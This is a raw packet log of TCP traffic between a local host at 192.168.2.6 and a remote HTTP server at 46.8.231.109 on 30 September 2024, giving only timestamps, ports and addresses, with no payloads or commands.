Sep 30, 2024 13:59:50.447832108 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447841883 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447855949 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447873116 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447875023 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447885036 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447896957 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447911024 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447925091 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447943926 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447952986 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447963953 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447973967 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447989941 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447992086 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448005915 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448013067 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448016882 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448028088 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448034048 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448040962 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448052883 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448054075 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448070049 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448091984 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448858976 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448880911 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448890924 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448916912 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448916912 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448947906 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448960066 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448970079 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.448987007 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.448993921 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449006081 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449014902 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449016094 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449028969 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449040890 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449054956 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449083090 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449105024 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449115038 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449126005 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449136019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449141979 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449157000 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449172020 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449182987 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449187040 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449199915 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449212074 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449215889 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449224949 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449245930 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449273109 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449292898 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449304104 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449314117 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449323893 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449335098 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449337006 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449374914 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449388981 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449400902 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449413061 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449424028 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449428082 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449454069 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449480057 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449503899 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449516058 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449532986 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449544907 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449548960 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449557066 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449559927 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449569941 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449573040 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449599028 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449621916 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449623108 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449634075 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449645996 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449660063 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449680090 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449681997 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449692011 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449708939 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449717045 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449721098 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449743986 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449744940 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449757099 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449769020 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449776888 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449788094 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449796915 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449800014 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449825048 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449843884 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449908018 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449918985 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449928999 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449939966 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449949980 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449950933 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449960947 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449969053 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.449973106 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.449995041 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450012922 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450025082 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450037003 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450047016 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450057030 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450061083 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450068951 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450076103 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450104952 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450138092 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450171947 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450186014 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450212955 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450228930 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450268984 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450274944 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450279951 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450292110 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450305939 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450319052 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450339079 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450340986 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450351954 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450362921 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450376034 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450385094 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450388908 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450401068 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450407028 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450413942 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450424910 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450427055 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450437069 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450463057 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450493097 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450505018 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450531006 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450542927 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450553894 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450555086 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450565100 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450576067 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450579882 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450599909 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450629950 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450659990 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450673103 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450683117 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450687885 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450700045 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450700045 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450709105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450716019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450727940 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450738907 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450741053 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450761080 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450778961 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450809956 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450820923 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450830936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.450860023 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.450886011 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.561275005 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.561290026 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.561301947 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.561327934 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.561343908 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.623053074 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.627881050 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.797991037 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798016071 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798029900 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798042059 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798105955 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798135996 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798149109 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798147917 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798160076 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798182011 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798192978 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798207998 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798208952 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798221111 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798230886 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798235893 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798249006 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798249960 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798274994 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798279047 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798290968 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798302889 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798305035 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798326015 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798327923 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798337936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798351049 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798352957 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798372984 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798402071 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798414946 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798434973 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798449993 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798451900 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798464060 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798471928 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798481941 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798499107 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798547029 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798557997 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798567057 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798577070 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798588037 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798592091 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798603058 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798613071 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798616886 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798629999 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798650026 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798654079 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798665047 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798687935 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798693895 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798698902 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798710108 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798716068 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798723936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.798743010 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.798757076 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.799415112 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.799437046 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800214052 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800235987 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800246000 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800272942 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800286055 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800311089 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800328970 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800339937 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800349951 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800360918 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800368071 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800375938 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800391912 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800393105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800400019 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800406933 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800411940 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800419092 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800431013 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800436020 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800450087 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800463915 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800471067 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800482035 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800508022 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800510883 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800525904 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800530910 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800539970 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800545931 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800556898 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800565004 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800576925 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800580978 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800590038 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800595045 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800604105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800611019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800625086 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800636053 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800678015 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800688028 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800698042 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800707102 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800710917 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800721884 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800730944 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800734997 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800753117 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800754070 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800766945 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800775051 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800775051 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800795078 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800806999 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800822973 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800833941 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800843000 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800853968 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800859928 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800873041 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800883055 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800884962 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800889969 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800899982 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800900936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.800921917 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800935030 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.800996065 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801006079 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801023960 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801028013 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801044941 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801048040 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801060915 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801063061 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801074028 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801075935 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801090002 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801098108 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801101923 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801117897 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801131010 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801132917 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801146984 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801151037 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801167965 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801177979 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.801713943 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.801723957 CEST	80	49730	46.8.231.109	192.168.2.6
